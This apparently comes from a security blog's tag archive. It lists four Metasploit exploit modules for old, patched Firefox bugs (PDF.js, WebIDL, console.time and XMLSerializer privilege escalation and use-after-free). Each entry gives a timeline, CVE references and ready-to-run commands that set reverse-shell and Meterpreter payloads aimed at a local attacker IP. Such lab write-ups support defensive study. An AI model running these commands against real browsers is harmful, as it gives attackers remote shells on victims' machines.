Tag Archives: Firefox

MFSA-2015-42 Firefox PDF.js Privileged Javascript Injection

Exploits, Metasploit, , , , , ,

Timeline :

Vulnerability discovered and reported to the vendor by Bobby Holley
Patch provided by the vendor via MFSA-2015-42 the 2015-03-31
Metasploit PoC provided the 2015-08-16

PoC provided by :

Bobby Holley
Marius Mlynski
joev

Reference(s) :

CVE-2015-0802
MFSA-2015-42
CVE-2015-0816
MFSA-2015-33
ZDI-15-110

Affected version(s) :

Firefox versions bellow version 37

Tested on :

Windows 7 SP1 with Firefox version 36.0.4

Description :

This module gains remote code execution on Firefox 35-36 by abusing a privilege escalation bug in resource:// URIs (CVE-2015-0802). PDF.js (CVE-2015-0816) is used to exploit the bug. This exploit requires the user to click anywhere on the page to trigger the vulnerability.

Commands :

use exploit/multi/browser/firefox_pdfjs_privilege_escalation
set SRVHOST 192.168.6.138
set PAYLOAD firefox/shell_reverse_tcp
set LHOST 192.168.6.138
run

SYSTEMINFO

MFSA-2014-29 Firefox WebIDL Privileged Javascript Injection

Exploits, Metasploit, , , ,

Timeline :

Vulnerabilities discovered by Marius Mlynski via TippingPoint’s Pwn2Own contest,
Patched by the vendor via MFSA-2014-29 the 2015–03-18
Metasploit PoC provided the 2014-08-27

PoC provided by :

Marius Mlynski
joev

Reference(s) :

CVE-2014-1510
CVE-2014-1511
MFSA-2014-29

Affected version(s) :

Firefox 22 to 27 included

Tested on :

with Firefox 27 on Windows 7 SP1

Description :

This exploit gains remote code execution on Firefox 22-27 by abusing two separate privilege escalation vulnerabilities in Firefox’s Javascript APIs.

Commands :

use exploit/multi/browser/firefox_webidl_injection
set PAYLOAD firefox/shell_reverse_tcp
set SRVHOST 192.168.6.138
run

SYSTEMINFO

CVE-2013-1710 Firefox toString console.time Privileged Javascript Injection

Exploits, Metasploit, , ,

Timeline :

Vulnerability discovered by moz_bug_r_a4
Vulnerability reported to the vendor by moz_bug_r_a4 the 2013-05-12
Patched by the vendor the 2013-08-06
Metasploit PoC provided the 2014-08-15

PoC provided by :

moz_bug_r_a4
Cody Crews
joev

Reference(s) :

CVE-2013-1710
MFSA-2013-69

Affected version(s) :

All versions of Mozilla Firefox versions between 15 and 22 included.

Tested on :

Windows 7 SP1 with Mozilla Firefox 22.0

Description :

This exploit gains remote code execution on Firefox 15-22 by abusing two separate Javascript-related vulnerabilities to ultimately inject malicious Javascript code into a context running with chrome://privileges.

Commands :

use exploit/multi/browser/firefox_tostring_console_injection
set SRVHOST 192.168.6.138
set PAYLOAD firefox/shell_reverse_tcp 
set LHOST 192.168.6.138
exploit

SYSTEMINFO

CVE-2013-0753 Firefox XMLSerializer Use After Free

Exploits, Metasploit, , ,

Timeline :

Vulnerability discovered and reported to ZDI by regenrecht
Vulnerability reported to vendor by ZDI the 2012-11-21
Vulnerability corrected by vendor the 2013-01-08
Metasploit PoC provided the 2013-08-23

PoC provided by :

regenrecht
juan vazquez

Reference(s) :

CVE-2013-0753
OSVDB-89021
BID-57209
ZDI-13-006
MFSA-2013-16

Affected version(s) :

All versions of Mozilla Firefox previous version 17.0.2

Tested on :

with Firefox 17.0.1 on Windows XP SP3

Description :

This module exploits a vulnerability found on Firefox 17.0 (< 17.0.2), specifically a use-after-free of an Element object, when using the serializeToStream method with a specially crafted OutputStream defining its own write function. This module has been tested successfully with Firefox 17.0.1 ESR, 17.0.1 and 17.0 on Windows XP SP3.

Commands :

use exploit/windows/browser/mozilla_firefox_xmlserializer
set SRVHOST 192.168.6.138
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.6.138
exploit

getuid
sysinfo